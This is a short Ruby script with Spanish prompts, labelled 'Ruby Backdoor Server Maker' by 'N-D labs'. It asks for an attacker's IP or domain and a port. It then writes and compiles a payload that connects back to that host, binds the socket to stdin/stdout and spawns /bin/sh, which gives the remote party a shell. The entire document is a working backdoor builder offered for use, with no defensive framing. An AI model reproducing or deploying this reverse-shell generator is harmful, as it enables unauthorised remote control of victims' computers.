#Ruby Backdoor Server Maker #N-D labs puts " ___________________________________________________________ -->RUBY BACKDOOR 0.1<-- ___________________________________________________________" print "Siga los pasos del asistente para configurar el servidor.\n" print "Teclee la dirección IP o dominio no-IP al que desea que se conecte RUBY BACKDOOR 0.1\n" ip=gets.chomp print "Teclee a continuacion el puerto al que desea utilizar.\n" port=gets.chomp print "Espere un momento por favor, el servidor esta siendo procesado.............\n" print "Procesando 25%..................................................\n" print ".................Procesando 50%.................................\n" print ".................................Procesando 75%.................\n" print ".................................................Procesando 100%\n" print "Pulse la tecla para continuar...\n" ton=gets.chomp fil=File.new("server", "w") fil.write("require 'socket' begin sock=TCPSocket.new(\"#{ip}\", \"#{port}\") rescue Errno::ECONNREFUSED end sock.print(\"####################CONEXION ESTABLECIDA###################\n\") sock.print(\"\nTeclea para finalizar la conexion.\n\") $stdout.reopen(sock) $stdin.reopen(sock) system('/bin/sh') sock.print(\"\n####################CONEXION FINALIZADA####################\n\")") fil.close File.rename('server', 'server.rb') mak=IO.popen('sh bash.sh') mak.close File.rename('server_linux', 'server') File.delete('server.rb') print "Su servidor ha sido creado con exito. ;-)\n"